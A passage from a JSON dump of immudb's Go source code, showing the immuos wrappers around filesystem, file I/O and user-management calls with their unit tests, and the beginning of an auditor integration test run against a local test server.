filepath.Split,\n\t}\n}\n\n// Abs ...\nfunc (sf *StandardFilepath) Abs(path string) (string, error) {\n\treturn sf.AbsF(path)\n}\n\n// Base ...\nfunc (sf *StandardFilepath) Base(path string) string {\n\treturn sf.BaseF(path)\n}\n\n// Ext ...\nfunc (sf *StandardFilepath) Ext(path string) string {\n\treturn sf.ExtF(path)\n}\n\n// Dir ...\nfunc (sf *StandardFilepath) Dir(path string) string {\n\treturn sf.DirF(path)\n}\n\n// Walk ...\nfunc (sf *StandardFilepath) Walk(root string, walkFn filepath.WalkFunc) error {\n\treturn sf.WalkF(root, walkFn)\n}\n\n// FromSlash ...\nfunc (sf *StandardFilepath) FromSlash(path string) string {\n\treturn sf.FromSlashF(path)\n}\n\n// Join ...\nfunc (sf *StandardFilepath) Join(elem ...string) string {\n\treturn sf.JoinF(elem...)\n}\n\n// Clean ...\nfunc (sf *StandardFilepath) Clean(path string) string {\n\treturn sf.CleanF(path)\n}\n\n// Split ...\nfunc (sf *StandardFilepath) Split(path string) (dir, file string) {\n\treturn sf.SplitF(path)\n}\n"
  },
  {
    "path": "pkg/immuos/filepath_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStandardFilepath(t *testing.T) {\n\tfp := NewStandardFilepath()\n\n\t// Abs\n\trelPath := \"some-path\"\n\tabsPath, err := fp.Abs(relPath)\n\trequire.NoError(t, err)\n\trequire.Contains(t, absPath, relPath)\n\trequire.Greater(t, len(absPath), len(relPath))\n\tabsFOK := fp.AbsF\n\terrAbs := errors.New(\"Abs error\")\n\tfp.AbsF = func(path string) (string, error) {\n\t\treturn \"\", errAbs\n\t}\n\t_, err = fp.Abs(relPath)\n\trequire.ErrorIs(t, err, errAbs)\n\tfp.AbsF = absFOK\n\n\t// Base\n\tpath := filepath.Join(\"some\", \"file\", \"path\")\n\trequire.Equal(t, \"path\", fp.Base(path))\n\tbaseFOK := fp.BaseF\n\totherBase := \"other\"\n\tfp.BaseF = func(path string) string {\n\t\treturn otherBase\n\t}\n\trequire.Equal(t, otherBase, fp.Base(path))\n\tfp.BaseF = baseFOK\n\n\t// Ext\n\tpathWithExt := filepath.Join(\"some\", \"file.ext\")\n\trequire.Equal(t, \".ext\", fp.Ext(pathWithExt))\n\textFOK := fp.ExtF\n\totherExt := \".otherExt\"\n\tfp.ExtF = func(path string) string {\n\t\treturn otherExt\n\t}\n\trequire.Equal(t, otherExt, fp.Ext(pathWithExt))\n\tfp.ExtF = extFOK\n\n\t// Dir\n\tpathToDir := filepath.Join(\"dir\", \"subdir\")\n\tpathToFile := filepath.Join(pathToDir, \"file.txt\")\n\trequire.Equal(t, pathToDir, fp.Dir(pathToFile))\n\tdirFOK := fp.DirF\n\totherPathToDir := \"other-path-to-dir\"\n\tfp.DirF = func(path string) string {\n\t\treturn otherPathToDir\n\t}\n\trequire.Equal(t, otherPathToDir, fp.Dir(pathToFile))\n\tfp.DirF = dirFOK\n\n\t// Walk\n\twalkFOK := fp.WalkF\n\terrWalk := errors.New(\"Walk error\")\n\tfp.WalkF = func(root string, walkFn filepath.WalkFunc) error {\n\t\treturn errWalk\n\t}\n\terr = fp.Walk(\"root\", func(path string, info os.FileInfo, err error) error { return nil })\n\trequire.ErrorIs(t, err, errWalk)\n\tfp.WalkF = walkFOK\n\n\t// FromSlash ...\n\tfromSlashFOK := fp.FromSlashF\n\tfp.FromSlashF = func(path string) string {\n\t\treturn \"fromslash\"\n\t}\n\trequire.Equal(t, \"fromslash\", fp.FromSlash(\"slash\"))\n\tfp.FromSlashF = fromSlashFOK\n\n\t// Join ...\n\tjoinFOK := fp.JoinF\n\tfp.JoinF = func(elem ...string) string {\n\t\treturn \"joined\"\n\t}\n\trequire.Equal(t, \"joined\", fp.Join(\"pie\", \"ces\"))\n\tfp.JoinF = joinFOK\n\n\t// Clean ...\n\tcleanFOK := fp.CleanF\n\tfp.CleanF = func(path string) string {\n\t\treturn \"path\"\n\t}\n\trequire.Equal(t, \"path\", fp.Clean(\"/../path\"))\n\tfp.CleanF = cleanFOK\n\n\t// Split ...\n\tsplitFOK := fp.SplitF\n\tfp.SplitF = func(path string) (dir, file string) {\n\t\tdir = \"someDir\"\n\t\tfile = \"someFile.txt\"\n\t\treturn\n\t}\n\tsplitDir, splitFile := fp.Split(\"a/b.txt\")\n\trequire.Equal(t, \"someDir\", splitDir)\n\trequire.Equal(t, \"someFile.txt\", splitFile)\n\tfp.SplitF = splitFOK\n}\n"
  },
  {
    "path": "pkg/immuos/ioutil.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n)\n\n// Ioutil ...\ntype Ioutil interface {\n\tReadFile(filename string) ([]byte, error)\n\tWriteFile(filename string, data []byte, perm os.FileMode) error\n}\n\n// StandardIoutil ...\ntype StandardIoutil struct {\n\tReadFileF  func(filename string) ([]byte, error)\n\tWriteFileF func(filename string, data []byte, perm os.FileMode) error\n}\n\n// NewStandardIoutil ...\nfunc NewStandardIoutil() *StandardIoutil {\n\treturn &StandardIoutil{\n\t\tReadFileF:  ioutil.ReadFile,\n\t\tWriteFileF: ioutil.WriteFile,\n\t}\n}\n\n// ReadFile ...\nfunc (sio *StandardIoutil) ReadFile(filename string) ([]byte, error) {\n\treturn sio.ReadFileF(filename)\n}\n\n// WriteFile ...\nfunc (sio *StandardIoutil) WriteFile(filename string, data []byte, perm os.FileMode) error {\n\treturn sio.WriteFileF(filename, data, perm)\n}\n"
  },
  {
    "path": "pkg/immuos/ioutil_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport (\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStandardIoutil(t *testing.T) {\n\tsio := NewStandardIoutil()\n\tfilename := filepath.Join(t.TempDir(), \"test-standard-ioutil\")\n\tcontent := strings.ReplaceAll(filename, \"-\", \" \")\n\trequire.NoError(t, sio.WriteFile(filename, []byte(content), 0644))\n\treadBytes, err := sio.ReadFile(filename)\n\trequire.NoError(t, err)\n\trequire.Equal(t, content, string(readBytes))\n}\n"
  },
  {
    "path": "pkg/immuos/os.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport \"os\"\n\n// OS ...\ntype OS interface {\n\tFilepath\n\tUser\n\tIoutil\n\tCreate(name string) (*os.File, error)\n\tGetwd() (string, error)\n\tMkdir(name string, perm os.FileMode) error\n\tMkdirAll(path string, perm os.FileMode) error\n\tRemove(name string) error\n\tRemoveAll(path string) error\n\tRename(oldpath, newpath string) error\n\tStat(name string) (os.FileInfo, error)\n\tChown(name string, uid, gid int) error\n\tChmod(name string, mode os.FileMode) error\n\tIsNotExist(err error) bool\n\tOpen(name string) (*os.File, error)\n\tOpenFile(name string, flag int, perm os.FileMode) (*os.File, error)\n\tExecutable() (string, error)\n\tGetpid() int\n}\n\n// StandardOS ...\ntype StandardOS struct {\n\t*StandardFilepath\n\t*StandardUser\n\t*StandardIoutil\n\tCreateF     func(name string) (*os.File, error)\n\tGetwdF      func() (string, error)\n\tMkdirF      func(name string, perm os.FileMode) error\n\tMkdirAllF   func(path string, perm os.FileMode) error\n\tRemoveF     func(name string) error\n\tRemoveAllF  func(path string) error\n\tRenameF     func(oldpath, newpath string) error\n\tStatF       func(name string) (os.FileInfo, error)\n\tChownF      func(name string, uid, gid int) error\n\tChmodF      func(name string, mode os.FileMode) error\n\tIsNotExistF func(err error) bool\n\tOpenF       func(name string) (*os.File, error)\n\tOpenFileF   func(name string, flag int, perm os.FileMode) (*os.File, error)\n\tExecutableF func() (string, error)\n\tGetpidF     func() int\n}\n\n// NewStandardOS ...\nfunc NewStandardOS() *StandardOS {\n\treturn &StandardOS{\n\t\tStandardFilepath: NewStandardFilepath(),\n\t\tStandardUser:     NewStandardUser(),\n\t\tStandardIoutil:   NewStandardIoutil(),\n\t\tCreateF:          os.Create,\n\t\tGetwdF:           os.Getwd,\n\t\tMkdirF:           os.Mkdir,\n\t\tMkdirAllF:        os.MkdirAll,\n\t\tRemoveF:          os.Remove,\n\t\tRemoveAllF:       os.RemoveAll,\n\t\tRenameF:          os.Rename,\n\t\tStatF:            os.Stat,\n\t\tChownF:           os.Chown,\n\t\tChmodF:           os.Chmod,\n\t\tIsNotExistF:      os.IsNotExist,\n\t\tOpenF:            os.Open,\n\t\tOpenFileF:        os.OpenFile,\n\t\tExecutableF:      os.Executable,\n\t\tGetpidF:          os.Getpid,\n\t}\n}\n\n// Create ...\nfunc (sos *StandardOS) Create(name string) (*os.File, error) {\n\treturn sos.CreateF(name)\n}\n\n// Getwd ...\nfunc (sos *StandardOS) Getwd() (string, error) {\n\treturn sos.GetwdF()\n}\n\n// Mkdir ...\nfunc (sos *StandardOS) Mkdir(name string, perm os.FileMode) error {\n\treturn sos.MkdirF(name, perm)\n}\n\n// MkdirAll ...\nfunc (sos *StandardOS) MkdirAll(path string, perm os.FileMode) error {\n\treturn sos.MkdirAllF(path, perm)\n}\n\n// Remove ...\nfunc (sos *StandardOS) Remove(name string) error {\n\treturn sos.RemoveF(name)\n}\n\n// RemoveAll ...\nfunc (sos *StandardOS) RemoveAll(path string) error {\n\treturn sos.RemoveAllF(path)\n}\n\n// Rename ...\nfunc (sos *StandardOS) Rename(oldpath, newpath string) error {\n\treturn sos.RenameF(oldpath, newpath)\n}\n\n// Stat ...\nfunc (sos *StandardOS) Stat(name string) (os.FileInfo, error) {\n\treturn sos.StatF(name)\n}\n\n// Chown ...\nfunc (sos *StandardOS) Chown(name string, uid, gid int) error {\n\treturn sos.ChownF(name, uid, gid)\n}\n\n// Chmod ...\nfunc (sos *StandardOS) Chmod(name string, mode os.FileMode) error {\n\treturn sos.ChmodF(name, mode)\n}\n\n// IsNotExist ...\nfunc (sos *StandardOS) IsNotExist(err error) bool {\n\treturn sos.IsNotExistF(err)\n}\n\n// Open ...\nfunc (sos *StandardOS) Open(name string) (*os.File, error) {\n\treturn sos.OpenF(name)\n}\n\n// OpenFile ...\nfunc (sos *StandardOS) OpenFile(name string, flag int, perm os.FileMode) (*os.File, error) {\n\treturn sos.OpenFileF(name, flag, perm)\n}\n\n// Executable ...\nfunc (sos *StandardOS) Executable() (string, error) {\n\treturn sos.ExecutableF()\n}\n\n// Getpid ...\nfunc (sos *StandardOS) Getpid() int {\n\treturn sos.GetpidF()\n}\n"
  },
  {
    "path": "pkg/immuos/os_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport (\n\t\"errors\"\n\t\"io/ioutil\"\n\t\"math\"\n\t\"os/user\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\tstdos \"os\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStandardOS(t *testing.T) {\n\tos := NewStandardOS()\n\n\t// Create\n\tfilename := filepath.Join(t.TempDir(), \"os_test_file\")\n\tf, err := os.Create(filename)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, f)\n\tcreateFOK := os.CreateF\n\terrCreate := errors.New(\"Create error\")\n\tos.CreateF = func(name string) (*stdos.File, error) {\n\t\treturn nil, errCreate\n\t}\n\t_, err = os.Create(filename)\n\trequire.ErrorIs(t, err, errCreate)\n\tos.CreateF = createFOK\n\n\t// Getwd\n\tws, err := os.Getwd()\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, ws)\n\tgetwdFOK := os.GetwdF\n\terrGetwd := errors.New(\"Getwd error\")\n\tos.GetwdF = func() (string, error) {\n\t\treturn \"\", errGetwd\n\t}\n\t_, err = os.Getwd()\n\trequire.ErrorIs(t, err, errGetwd)\n\tos.GetwdF = getwdFOK\n\n\t// Mkdir\n\tdirname := filepath.Join(t.TempDir(), \"os_test_dir\")\n\trequire.NoError(t, os.Mkdir(dirname, 0755))\n\tmkdirFOK := os.MkdirF\n\terrMkdir := errors.New(\"Mkdir error\")\n\tos.MkdirF = func(name string, perm stdos.FileMode) error {\n\t\treturn errMkdir\n\t}\n\terr = os.Mkdir(dirname, 0755)\n\trequire.ErrorIs(t, err, errMkdir)\n\tos.MkdirF = mkdirFOK\n\n\t// MkdirAll\n\tdirname2 := filepath.Join(t.TempDir(), \"os_test_dir2\")\n\trequire.NoError(t, os.MkdirAll(filepath.Join(dirname2, \"os_test_subdir\"), 0755))\n\tmkdirAllFOK := os.MkdirAllF\n\terrMkdirAll := errors.New(\"MkdirAll error\")\n\tos.MkdirAllF = func(path string, perm stdos.FileMode) error {\n\t\treturn errMkdirAll\n\t}\n\terr = os.MkdirAll(dirname2, 0755)\n\trequire.ErrorIs(t, err, errMkdirAll)\n\tos.MkdirAllF = mkdirAllFOK\n\n\t// Rename\n\tfilename2 := filename + \"_renamed\"\n\trequire.NoError(t, os.Rename(filename, filename2))\n\trenameFOK := os.RenameF\n\terrRename := errors.New(\"Rename error\")\n\tos.RenameF = func(oldpath, newpath string) error {\n\t\treturn errRename\n\t}\n\terr = os.Rename(filename, filename2)\n\trequire.ErrorIs(t, err, errRename)\n\tos.RenameF = renameFOK\n\n\t// Stat\n\tfi, err := os.Stat(filename2)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, fi)\n\tstatFOK := os.StatF\n\terrStat := errors.New(\"Stat error\")\n\tos.StatF = func(name string) (stdos.FileInfo, error) {\n\t\treturn nil, errStat\n\t}\n\t_, err = os.Stat(filename2)\n\trequire.ErrorIs(t, err, errStat)\n\tos.StatF = statFOK\n\n\t// Remove\n\trequire.NoError(t, os.Remove(filename2))\n\tremoveFOK := os.RemoveF\n\terrRemove := errors.New(\"Remove error\")\n\tos.RemoveF = func(name string) error {\n\t\treturn errRemove\n\t}\n\terr = os.Remove(filename2)\n\trequire.ErrorIs(t, err, errRemove)\n\tos.RemoveF = removeFOK\n\n\t// RemoveAll\n\trequire.NoError(t, os.RemoveAll(dirname2))\n\tremoveAllFOK := os.RemoveAllF\n\terrRemoveAll := errors.New(\"RemoveAll error\")\n\tos.RemoveAllF = func(path string) error {\n\t\treturn errRemoveAll\n\t}\n\terr = os.RemoveAll(filename2)\n\trequire.ErrorIs(t, err, errRemoveAll)\n\tos.RemoveAllF = removeAllFOK\n\n\t// Chown\n\tchownFOK := os.ChownF\n\terrChown := errors.New(\"Chown error\")\n\tos.ChownF = func(name string, uid, gid int) error {\n\t\treturn errChown\n\t}\n\terr = os.Chown(\"name\", 1, 2)\n\trequire.ErrorIs(t, err, errChown)\n\tos.ChownF = chownFOK\n\n\t// Chmod\n\tchmodFOK := os.ChmodF\n\terrChmod := errors.New(\"Chmod error\")\n\tos.ChmodF = func(name string, mode stdos.FileMode) error {\n\t\treturn errChmod\n\t}\n\terr = os.Chmod(\"name\", 0644)\n\trequire.ErrorIs(t, err, errChmod)\n\tos.ChmodF = chmodFOK\n\n\t// IsNotExist\n\tisNotExistFOK := os.IsNotExistF\n\tos.IsNotExistF = func(err error) bool {\n\t\treturn true\n\t}\n\trequire.True(t, os.IsNotExist(nil))\n\tos.IsNotExistF = isNotExistFOK\n\n\t// Open\n\topenFOK := os.OpenF\n\terrOpen := errors.New(\"Open error\")\n\tos.OpenF = func(name string) (*stdos.File, error) {\n\t\treturn nil, errOpen\n\t}\n\t_, err = os.Open(\"name\")\n\trequire.ErrorIs(t, err, errOpen)\n\tos.OpenF = openFOK\n\n\t// OpenFile\n\topenFileFOK := os.OpenFileF\n\terrOpenFile := errors.New(\"OpenFile error\")\n\tos.OpenFileF = func(name string, flag int, perm stdos.FileMode) (*stdos.File, error) {\n\t\treturn nil, errOpenFile\n\t}\n\t_, err = os.OpenFile(\"name\", 1, 0644)\n\trequire.ErrorIs(t, err, errOpenFile)\n\tos.OpenFileF = openFileFOK\n\n\t// Executable\n\texecutableFOK := os.ExecutableF\n\terrExecutable := errors.New(\"Executable error\")\n\tos.ExecutableF = func() (string, error) {\n\t\treturn \"\", errExecutable\n\t}\n\t_, err = os.Executable()\n\trequire.ErrorIs(t, err, errExecutable)\n\tos.ExecutableF = executableFOK\n\n\t// Getpid\n\tgetpidFOK := os.GetpidF\n\tos.GetpidF = func() int {\n\t\treturn math.MinInt32\n\t}\n\trequire.Equal(t, math.MinInt32, os.Getpid())\n\tos.GetpidF = getpidFOK\n}\n\nfunc TestStandardOSFilepathEmbedded(t *testing.T) {\n\tos := NewStandardOS()\n\n\t// Abs\n\trelPath := \"some-path\"\n\tabsPath, err := os.Abs(relPath)\n\trequire.NoError(t, err)\n\trequire.Contains(t, absPath, relPath)\n\trequire.Greater(t, len(absPath), len(relPath))\n\tabsFOK := os.AbsF\n\terrAbs := errors.New(\"Abs error\")\n\tos.AbsF = func(path string) (string, error) {\n\t\treturn \"\", errAbs\n\t}\n\t_, err = os.Abs(relPath)\n\trequire.ErrorIs(t, err, errAbs)\n\tos.AbsF = absFOK\n}\n\nfunc TestStandardOSUserEmbedded(t *testing.T) {\n\tos := NewStandardOS()\n\n\t// Lookup ...\n\tlookupFOK := os.LookupF\n\terrLookup := errors.New(\"Lookup error\")\n\tos.LookupF = func(username string) (*user.User, error) {\n\t\treturn nil, errLookup\n\t}\n\t_, err := os.Lookup(\"username\")\n\trequire.ErrorIs(t, err, errLookup)\n\tos.LookupF = lookupFOK\n}\n\nfunc TestStandardOSIoutilEmbedded(t *testing.T) {\n\tos := NewStandardOS()\n\n\t// ReadFile ...\n\tfilename := filepath.Join(t.TempDir(), \"test-standard-os-ioutil-embedded-readfile\")\n\tcontent := strings.ReplaceAll(filename, \"-\", \" \")\n\trequire.NoError(t, ioutil.WriteFile(filename, []byte(content), 0644))\n\n\treadBytes, err := os.ReadFile(filename)\n\trequire.NoError(t, err)\n\trequire.Equal(t, content, string(readBytes))\n}\n"
  },
  {
    "path": "pkg/immuos/user.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport (\n\t\"os/exec\"\n\t\"os/user\"\n)\n\n// User ...\ntype User interface {\n\tAddGroup(name string) error\n\tAddUser(usr string, group string) error\n\tLookupGroup(name string) (*user.Group, error)\n\tLookup(username string) (*user.User, error)\n}\n\n// StandardUser ...\ntype StandardUser struct {\n\tAddGroupF    func(name string) error\n\tAddUserF     func(usr string, group string) error\n\tLookupGroupF func(name string) (*user.Group, error)\n\tLookupF      func(username string) (*user.User, error)\n}\n\n// NewStandardUser ...\nfunc NewStandardUser() *StandardUser {\n\treturn &StandardUser{\n\t\tAddGroupF:    func(name string) error { return exec.Command(\"groupadd\", name).Run() },\n\t\tAddUserF:     func(usr string, group string) error { return exec.Command(\"useradd\", \"-g\", usr, usr).Run() },\n\t\tLookupGroupF: user.LookupGroup,\n\t\tLookupF:      user.Lookup,\n\t}\n}\n\n// AddGroup ...\nfunc (su *StandardUser) AddGroup(name string) error {\n\treturn su.AddGroupF(name)\n}\n\n// AddUser ...\nfunc (su *StandardUser) AddUser(usr string, group string) error {\n\treturn su.AddUserF(usr, group)\n}\n\n// LookupGroup ...\nfunc (su *StandardUser) LookupGroup(name string) (*user.Group, error) {\n\treturn su.LookupGroupF(name)\n}\n\n// Lookup ...\nfunc (su *StandardUser) Lookup(username string) (*user.User, error) {\n\treturn su.LookupF(username)\n}\n"
  },
  {
    "path": "pkg/immuos/user_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuos\n\nimport (\n\t\"errors\"\n\t\"os/user\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStandardUser(t *testing.T) {\n\tsu := NewStandardUser()\n\n\t// AddGroup\n\taddGroupFOK := su.AddGroupF\n\terrAddGroup := errors.New(\"AddGroup error\")\n\tsu.AddGroupF = func(name string) error {\n\t\treturn errAddGroup\n\t}\n\terr := su.AddGroup(\"name\")\n\trequire.ErrorIs(t, err, errAddGroup)\n\tsu.AddGroupF = addGroupFOK\n\n\t// AddUser\n\taddUserFOK := su.AddUserF\n\terrAddUser := errors.New(\"AddUser error\")\n\tsu.AddUserF = func(usr string, group string) error {\n\t\treturn errAddUser\n\t}\n\terr = su.AddUser(\"usr\", \"group\")\n\trequire.ErrorIs(t, err, errAddUser)\n\tsu.AddUserF = addUserFOK\n\n\t// LookupGroup ...\n\tlookupGroupFOK := su.LookupGroupF\n\terrLookupGroup := errors.New(\"LookupGroup error\")\n\tsu.LookupGroupF = func(name string) (*user.Group, error) {\n\t\treturn nil, errLookupGroup\n\t}\n\t_, err = su.LookupGroup(\"name\")\n\trequire.ErrorIs(t, err, errLookupGroup)\n\tsu.LookupGroupF = lookupGroupFOK\n\n\t// Lookup ...\n\tlookupFOK := su.LookupF\n\terrLookup := errors.New(\"Lookup error\")\n\tsu.LookupF = func(username string) (*user.User, error) {\n\t\treturn nil, errLookup\n\t}\n\t_, err = su.Lookup(\"username\")\n\trequire.ErrorIs(t, err, errLookup)\n\tsu.LookupF = lookupFOK\n}\n"
  },
  {
    "path": "pkg/integration/auditor_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/cmdtest\"\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/auditor\"\n\t\"github.com/codenotary/immudb/pkg/client/cache\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\ntype mockHomedir struct {\n\tfiles map[string][]byte\n\tm     sync.RWMutex\n}\n\nfunc newMockHomedir() homedir.HomedirService {\n\treturn &mockHomedir{\n\t\tfiles: make(map[string][]byte),\n\t}\n}\n\nfunc (h *mockHomedir) WriteFileToUserHomeDir(content []byte, pathToFile string) error {\n\th.m.Lock()\n\tdefer h.m.Unlock()\n\n\th.files[pathToFile] = content\n\treturn nil\n}\n\nfunc (h *mockHomedir) FileExistsInUserHomeDir(pathToFile string) (bool, error) {\n\th.m.RLock()\n\tdefer h.m.RUnlock()\n\n\t_, exists := h.files[pathToFile]\n\treturn exists, nil\n}\n\nfunc (h *mockHomedir) ReadFileFromUserHomeDir(pathToFile string) (string, error) {\n\th.m.RLock()\n\tdefer h.m.RUnlock()\n\n\tdata, exists := h.files[pathToFile]\n\tif !exists {\n\t\treturn \"\", os.ErrNotExist\n\t}\n\n\treturn string(data), nil\n}\n\nfunc (h *mockHomedir) DeleteFileFromUserHomeDir(pathToFile string) error {\n\th.m.Lock()\n\tdefer h.m.Unlock()\n\n\tdelete(h.files, pathToFile)\n\treturn nil\n}\n\nfunc TestDefaultAuditorRunOnEmptyDb(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()),\n\t)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tds := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tclientConn, err := grpc.Dial(\"add\", ds...)\n\trequire.NoError(t, err)\n\n\tserviceClient := schema.NewImmuServiceClient(clientConn)\n\n\tda, err := auditor.DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\tds,\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tauditor.AuditNotificationConfig{},\n\t\tserviceClient,\n\t\tstate.NewUUIDProvider(serviceClient),\n\t\tcache.NewHistoryFileCache(t.TempDir()),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", os.Stdout),\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\tauditorDone := make(chan struct{}, 2)\n\terr = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone)\n\trequire.NoError(t, err)\n}\n\ntype PasswordReader struct {\n\tPass       []string\n\tcallNumber int\n}\n\nfunc (pr *PasswordReader) Read(msg string) ([]byte, error) {\n\tif len(pr.Pass) <= pr.callNumber {\n\t\tlog.Fatal(\"Application requested the password more times than number of passwords supplied\")\n\t}\n\tpass := []byte(pr.Pass[pr.callNumber])\n\tpr.callNumber++\n\treturn pass, nil\n}\n\nfunc TestDefaultAuditorRunOnDb(t *testing.T) {\n\tbs := servertest.NewBufconnServer(server.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()),\n\t)\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tctx := context.Background()\n\tpr := &PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\ttkf := cmdtest.RandString()\n\tts := tokenservice.\n\t\tNewFileTokenService().\n\t\tWithTokenFileName(tkf).\n\t\tWithHds(newMockHomedir())\n\tcliopt := client.\n\t\tDefaultOptions().\n\t\tWithDialOptions(dialOptions).\n\t\tWithPasswordReader(pr).\n\t\tWithDir(t.TempDir())\n\n\tcliopt.PasswordReader = pr\n\tcliopt.DialOptions = dialOptions\n\n\tcli, err := client.NewImmuClient(cliopt)\n\trequire.NoError(t, err)\n\tcli.WithTokenService(ts)\n\n\tlresp, err := cli.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lresp.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\t_, err = cli.Set(ctx, []byte(`key`), 